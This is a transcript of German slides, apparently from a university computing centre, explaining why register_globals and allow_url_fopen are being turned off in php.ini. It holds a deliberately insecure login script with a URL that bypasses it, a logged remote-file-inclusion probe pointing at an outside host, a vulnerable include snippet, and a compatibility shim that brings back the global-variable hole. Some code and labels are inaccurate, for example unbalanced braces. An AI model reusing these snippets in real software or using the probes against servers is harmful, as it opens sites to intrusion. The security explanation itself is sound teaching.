Die Präsentation wird geladen. Bitte warten

Die Präsentation wird geladen. Bitte warten

Welche Funktion hat die php.ini? -Beinhaltet wichtige Einstellungen für PHP. Genannt seien hier u.a. der Speicherort von Cookies, Parameter der Kompilierung,

Ähnliche Präsentationen


Präsentation zum Thema: "Welche Funktion hat die php.ini? -Beinhaltet wichtige Einstellungen für PHP. Genannt seien hier u.a. der Speicherort von Cookies, Parameter der Kompilierung,"—  Präsentation transkript:

1 Welche Funktion hat die php.ini? -Beinhaltet wichtige Einstellungen für PHP. Genannt seien hier u.a. der Speicherort von Cookies, Parameter der Kompilierung, XML Support, aber auch wichtige Sicherheitseinstellungen für PHP -Ausgabe der Einstellungen von php.ini unter PHP mit der Funktion phpinfo(); Wo finde ich die Datei? -Die Datei wurde bisher zentral vom Rechenzentrum verwaltet, was auch weiterhin dringend empfohlen wird. Zum 01. 10. 2005 wird die Datei nun modifiziert werden. Ausnahmen sind möglich, in diesem Fall kann eine php.ini Vorlage auf den Seiten des RZs heruntergeladen werden. Diese wird dann wie auf der Seite beschrieben im Dateisystem des eigenen virtuellen Hosts abgelegt und vom Rechenzentrum aktiviert. Der Einsatz der Datei erfolgt ausdrücklich auf EIGENE VERANTWORTUNG! Wir empfehlen dringend, weiterhin die zentrale php.ini Datei zu benutzen, da ansonsten nicht gewährleistet werden kann, dass z.B. bei einem Update auf eine neue PHP Version alles so funktioniert wie es soll. Warum wird etwas geändert und welche Auswirkungen hat das auf meine bestehenden Scripte? -Seit der PHP Version 4.2.0 ist der Eintrag register_globals in der Konfigurationsdatei standardmäßig auf off gesetzt. Dieser Eintrag betrifft das Sessionmanagment ($_SESSION) sowie die anderen superglobalen Arrays wie $_GET, $_POST oder $_COOKIE, die bisher entsprechend ihres Index-Namens automatisch entpackt und als Variable verfügbar gemacht wurden. Änderung der PHP Konfiguration des Webservers – php.ini formular.html auswertung.php Bisher: register_globals = on

2 Ist der Wert register_globals auf off gesetzt, kann auf den Wert der Variablen nur noch über das superglobale Array zugegriffen werden! Das vorherige Script würde also nicht mehr funktionieren! Warum die Änderung? Ein Beispiel für ein unsicheres Scrip mit register_globals = off: Dateiname: login.php <?php if ( $pass_ok ) $login_ok = true; if ($login_ok) // Zugriff auf alle geheime Daten gestattet…… ?> In diesem Script wird dem Benutzer Zugang zu geheimen Daten gewährt, wenn die Variable $username vorhanden ist. Ein Hacker kann nun das Script einfach folgendermaßen im Browser aufrufen, um die Variable selber zu setzen: http://www.test.de/login.php?login_ok=1 Änderung der PHP Konfiguration des Webservers – php.ini formular.html auswertung.php Neu: register_globals = off session_start(); $_SESSION[´test´] = 5; ----------------------------- session_start(); echo $_SESSION[´test´]; Sessionmanagment:

3 Kleine Hilfe, um nicht allen Code im Script nachträglich ändern zu müssen. Der Code muss an den Anfang JEDES Scriptes. <?php // Bereitstellen der Variablen if(is_array($HTTP_GET_VARS)) { while(list($key,$val) = each($HTTP_GET_VARS)) { $$key = $val; } if(is_array($HTTP_POST_VARS)) { while(list($key,$val) = each($HTTP_POST_VARS)) { $$key = $val; } if(is_array($HTTP_SESSION_VARS)) { while(list($key,$val) = each($HTTP_SESSION_VARS)) { $$key = $val; } ?> Änderung der PHP Konfiguration des Webservers – php.ini Achtung: Das Beispiel zeigt nur, wie die Sessionvariable ausgelesen wird. Um sie zu setzen, MUSS der Syntax nun folgendermaßen sein: session_start(); $_SESSION[´test´] = WERT; session_register() ist nicht mehr notwendig! Verwenden Sie hingegen kein Sessionmanagment auf Ihren Seiten sondern nur POST / GET, so müßte der Code genügen!

4 Weitere Änderung: allow_url_fopen = off Mit dieser Option lässt sich dynamisch Scriptcode von einer beliebigen URL ausführen….. Hacker verwenden teilweise automatische Scripts, um Webserver nach dieser Option abzusuchen. Man findet dann z. B. solche Eintäge in der Logdatei des Webservers: [28/Sep/2004:18:03:07 +0200] "GET /pfad/zu/einem/script.php? variablenname=http://192.168.1.2:4213/ HTTP/1.0" 200 15183 "-" "Wget/1.8.1" Änderung der PHP Konfiguration des Webservers – php.ini if (!isset($realm)) { include "home.template"; } else { include $realm ; } Bisher: allow_url_fopen = on

5 Änderung der PHP Konfiguration des Webservers – php.ini Weitere Informationen (u.a. Download dieser Präsentation sowie Download einer php.ini Vorlage) unter: http://webserver.ruf.uni-freiburg.de


Herunterladen ppt "Welche Funktion hat die php.ini? -Beinhaltet wichtige Einstellungen für PHP. Genannt seien hier u.a. der Speicherort von Cookies, Parameter der Kompilierung,"

Ähnliche Präsentationen


Google-Anzeigen